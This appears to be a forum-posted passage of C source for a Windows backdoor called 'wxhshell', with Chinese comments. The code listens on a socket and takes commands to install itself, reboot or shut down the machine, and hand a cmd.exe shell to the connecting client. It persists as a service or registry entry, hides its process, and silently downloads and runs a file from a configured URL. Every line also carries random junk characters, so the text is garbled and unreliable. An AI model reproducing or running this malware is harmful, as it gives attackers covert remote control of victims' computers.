  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,KF 'TsFf  
  } p09HL%~R  
  else { }QN1|mP2  
JUsQ,ETn  
    switch(cmd[0]) { >NO[UX%yP  
  D|lzGt  
  // 帮助 spGb!Y`mR  
  case '?': { }d[ kxo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bbtGXfI+SB  
    break; 18)'c?^.  
  } 3]OE}[R  
  // 安装 Y4OPEo5o  
  case 'i': { e{h<g>7  
    if(Install()) rDD:7*z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HeK/7IAqp  
    else  Hu^1[#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\E%+?K+^  
    break; ",p;Sd  
    } 0QB iC]9  
  // 卸载 %r<rcY  
  case 'r': { NC8t) X7  
    if(Uninstall()) 0m7Y>0wC6T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob+b<HFv  
    else k o5@qNq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Z}Rf k(~  
    break; [8.c8-lZ^  
    } fsmN)_T  
  // 显示 wxhshell 所在路径 >Y&N8PHD  
  case 'p': { wc0jhHZO ?  
    char svExeFile[MAX_PATH]; IrR7"`.i  
    strcpy(svExeFile,"\n\r"); }^4Xv^dW>g  
      strcat(svExeFile,ExeFile); @y e4q.m  
        send(wsh,svExeFile,strlen(svExeFile),0); G[B=>Cy  
    break; &Q9qq~  
    } KLU-DCb%  
  // 重启 bADnW4N`6;  
  case 'b': { 8J*"%C$qe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TIx|L  
    if(Boot(REBOOT)) [=x[ w70  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CWf / H)~  
    else { \(~y?l  
    closesocket(wsh); v:EB*3n5  
    ExitThread(0); :Gv1?M  
    } ~fBtQGdX  
    break; w:??h4lt  
    } IW)()*8;/  
  // 关机 cec9l65d  
  case 'd': { /Y*WBTV'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jL y  
    if(Boot(SHUTDOWN)) zUDg&-J3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `0rd26Qro  
    else { SIe="YG]<  
    closesocket(wsh); /;{P}-H`ei  
    ExitThread(0); g(nPQOs$u  
    } 9Q -HeXvR  
    break; 8{Q<N%Jnu  
    } E^Y#&skXp3  
  // 获取shell #:%&x@@c3P  
  case 's': { > pgX^  
    CmdShell(wsh); jy7\+i  
    closesocket(wsh); MtM%{=&_  
    ExitThread(0); y9_V  
    break; O7u(}$D L  
  } ]~844J p  
  // 退出 ioa U*%  
  case 'x': { OHv[#xGuV?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1ofKt=|=  
    CloseIt(wsh); |o,YCzy|5  
    break; SD#]$v  
    } M])ZK  
  // 离开 909?_ v  
  case 'q': { 6.FY0.i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MU>k,:[  
    closesocket(wsh); ::o lN  
    WSACleanup(); _t:$XJ`bTk  
    exit(1); p$SX  
    break; r)qnl9?;`]  
        } "vA}FV%tRq  
  } agkA}O  
  } yH7F''O7  
-VZ-<\uH  
  // 提示信息 c~6>1w7SZ4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nvca."5y  
} ?m![Pg%  
  } PxF <\pu&  
U!T~!C^  
  return; "X2Vrn'  
} -\+s#kE:  
~L]|?d"  
// shell模块句柄 Usg K  
int CmdShell(SOCKET sock) ()`7L|(`;q  
{ X(!Cfb8+5  
STARTUPINFO si; KgV3j]d  
ZeroMemory(&si,sizeof(si)); ]d55m/(   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2*rH?dz8E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >O1[:%Z1  
PROCESS_INFORMATION ProcessInfo; g$n7CXoT  
char cmdline[]="cmd"; ^F>cp ,x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2<li7c59  
  return 0; @HT% n  
} {-ZFp  
jNu9KlN  
// 自身启动模式 Yv hA_v  
int StartFromService(void) "b?v?V0%C  
{ b6W2^tr-  
typedef struct |lXc0"H[o  
{ h"`ucC8X  
  DWORD ExitStatus; |}2 3>l7  
  DWORD PebBaseAddress; `(T,+T4C5k  
  DWORD AffinityMask; d#6`&MR  
  DWORD BasePriority; a5 *2h{i  
  ULONG UniqueProcessId; Y;nZ=9Sw  
  ULONG InheritedFromUniqueProcessId; c?P?yIz6p  
}   PROCESS_BASIC_INFORMATION; :iFIQpk  
! N|0x`  
PROCNTQSIP NtQueryInformationProcess; .e3NnOzyxS  
%R1tJ(/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LY6;.d$J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XXbqQhf  
ag$Vgl  
  HANDLE             hProcess; .b\$MZ"(  
  PROCESS_BASIC_INFORMATION pbi; 0MV>"aV  
(]_1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6cpw~  
  if(NULL == hInst ) return 0; ^?$WVB  
KiRUvWqa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]'5;|xc9$/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :!/gk8F|dI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rI^zB mrr  
r~+\ Y"rM  
  if (!NtQueryInformationProcess) return 0; |\_^ B  
[qdRUV'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;g6M%;1-  
  if(!hProcess) return 0; *eIJwXE  
.R)PJc5^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x??pBhJH  
79nG|Yj|\  
  CloseHandle(hProcess); 3:5 &Aa!  
<Gav5R c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9V,!R{kO!  
if(hProcess==NULL) return 0; sBu=e7  
Ys -T0  
HMODULE hMod; ,\X@~ j  
char procName[255]; >a"Z\\dF  
unsigned long cbNeeded; GQ*wc?f3  
A; 5n:Sd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,B08i o-  
SaC d0. h  
  CloseHandle(hProcess); _tSAI  
76>7=#m0u'  
if(strstr(procName,"services")) return 1; // 以服务启动 [v$0[IuY,  
#BJG9DFP4`  
  return 0; // 注册表启动 p>vn7;s2#  
} T_X6Ulp  
mK[)mC _8  
// 主模块 Qhs/E`k4  
int StartWxhshell(LPSTR lpCmdLine) 'D6T8B4  
{ ]V-W~r=  
  SOCKET wsl; ^F2b hXE  
BOOL val=TRUE; 3k|oK'l  
  int port=0; cUqke+!  
  struct sockaddr_in door; :gerQz4R8  
kxp) ;  
  if(wscfg.ws_autoins) Install(); 0E?jW7yr  
YhbZ'SJ  
port=atoi(lpCmdLine); \ W?R  
v.Q(v\KV5  
if(port<=0) port=wscfg.ws_port; ZeUvyIG  
on0]vEE  
  WSADATA data; 4%2~Wi8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !l|5z G  
cZH-"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XQ%?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v$(lZa1  
  door.sin_family = AF_INET; \ {qI4=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xfy1pS.[:  
  door.sin_port = htons(port); a^Tm u  
|fxA|/ s[<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0q.Ujm=,z  
closesocket(wsl); vohoLeJTj  
return 1; YFE&r  
} 5nTY ?<x`k  
*?y+e  
  if(listen(wsl,2) == INVALID_SOCKET) { ?6L&WB  
closesocket(wsl); 6 ` Aj%1  
return 1; "VkTY|a  
} tniDF>Rb  
  Wxhshell(wsl); lZyG)0t,g  
  WSACleanup(); h@:TpE+N  
Ct2j ZqCDo  
return 0; #O$  
UbEb&9}  
} CPVjmRUF|  
lY~4'8^  
// 以NT服务方式启动 HS{(v;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *+TH#EL2  
{ } X^|$  
DWORD   status = 0; "jTKSgv+q5  
  DWORD   specificError = 0xfffffff; nL$x|}XAcj  
:ml2.vP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Y|~2Ls8tu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'eo KZX+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i<H wTmm$  
  serviceStatus.dwWin32ExitCode     = 0; .!1S[  
  serviceStatus.dwServiceSpecificExitCode = 0; G2]4n T  
  serviceStatus.dwCheckPoint       = 0; Z|_K6v/c  
  serviceStatus.dwWaitHint       = 0; GwG4LIp  
'"?C4mbSl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '"<6.,Ae  
  if (hServiceStatusHandle==0) return; =Zu^80/  
V[}4L| ad  
status = GetLastError(); >N;F8v  
  if (status!=NO_ERROR) Ypeiy `.  
{ 0O\SU"bP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZDD..j  
    serviceStatus.dwCheckPoint       = 0; WVmq% ,7  
    serviceStatus.dwWaitHint       = 0; ddfs8\  
    serviceStatus.dwWin32ExitCode     = status; u)ev{)$TM  
    serviceStatus.dwServiceSpecificExitCode = specificError; by'DQ 00  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]W Zq^'q.  
    return; y" 6y!  
  } }j2Y5  
z >YFyu#LF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'mH) d  
  serviceStatus.dwCheckPoint       = 0; VA"*6F   
  serviceStatus.dwWaitHint       = 0; Xg=x7\V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "p/j; 6H  
} :N<.?%Kf  
&?uz`pv2  
// 处理NT服务事件,比如:启动、停止 P y>{t4;S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `+zWu 55;  
{ >iOzl wmG  
switch(fdwControl) /0W9g  
{ y kW [B  
case SERVICE_CONTROL_STOP: :9R=]#uD  
  serviceStatus.dwWin32ExitCode = 0; HJ2*y|u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 21ppSN >  
  serviceStatus.dwCheckPoint   = 0; }w/;){gu  
  serviceStatus.dwWaitHint     = 0;  6\u!E~zy  
  { h)6GaJ=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *\wp?s>-t  
  } d{3@h+zL  
  return; oT{@_U{*J  
case SERVICE_CONTROL_PAUSE: $`8Ar,Xz`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E,wVe[0)f  
  break; ZT[3aXS  
case SERVICE_CONTROL_CONTINUE: YAL=!~6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 277ASCWLkU  
  break; UWZa|I~:J  
case SERVICE_CONTROL_INTERROGATE: N%7{J  
  break; m6MO W&  
}; V~T@6S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J0 k  
} :-iMdtm  
Ja]?&j  
// 标准应用程序主函数 ;>%~9j1C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ui "3ak+F  
{ 'DCFezdf3  
5jgdbHog]  
// 获取操作系统版本 j}BHj.YuP  
OsIsNt=GetOsVer(); { F'Kk\f%:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?\U!huu  
Wxk x,q?  
  // 从命令行安装 6oinidB[l  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Oj)B1gc6&  
K. %U  
  // 下载执行文件 c{>uqPTY  
if(wscfg.ws_downexe) { /w8"=6Vv~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fQ'.8'>T  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0l=+$& D  
} P_gYz!  
?!=iu!J  
if(!OsIsNt) { }C  /]  
// 如果时win9x,隐藏进程并且设置为注册表启动 :^'O}2NP  
HideProc(); b$Hz3T J(  
StartWxhshell(lpCmdLine); ZkP {[^6d\  
} >#}2J[2HQ  
else dl5=q\1=  
  if(StartFromService()) KQld YA|m  
  // 以服务方式启动 M wab!Ya  
  StartServiceCtrlDispatcher(DispatchTable); (f_g7B2&y  
else PSRzrv$l  
  // 普通方式启动 vLa#Y("  
  StartWxhshell(lpCmdLine); ^ *&X~8@)  
:s-o0$PlJ  
return 0; E RdL^T>  
}
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只看该作者 1 发表于: 2006-10-10
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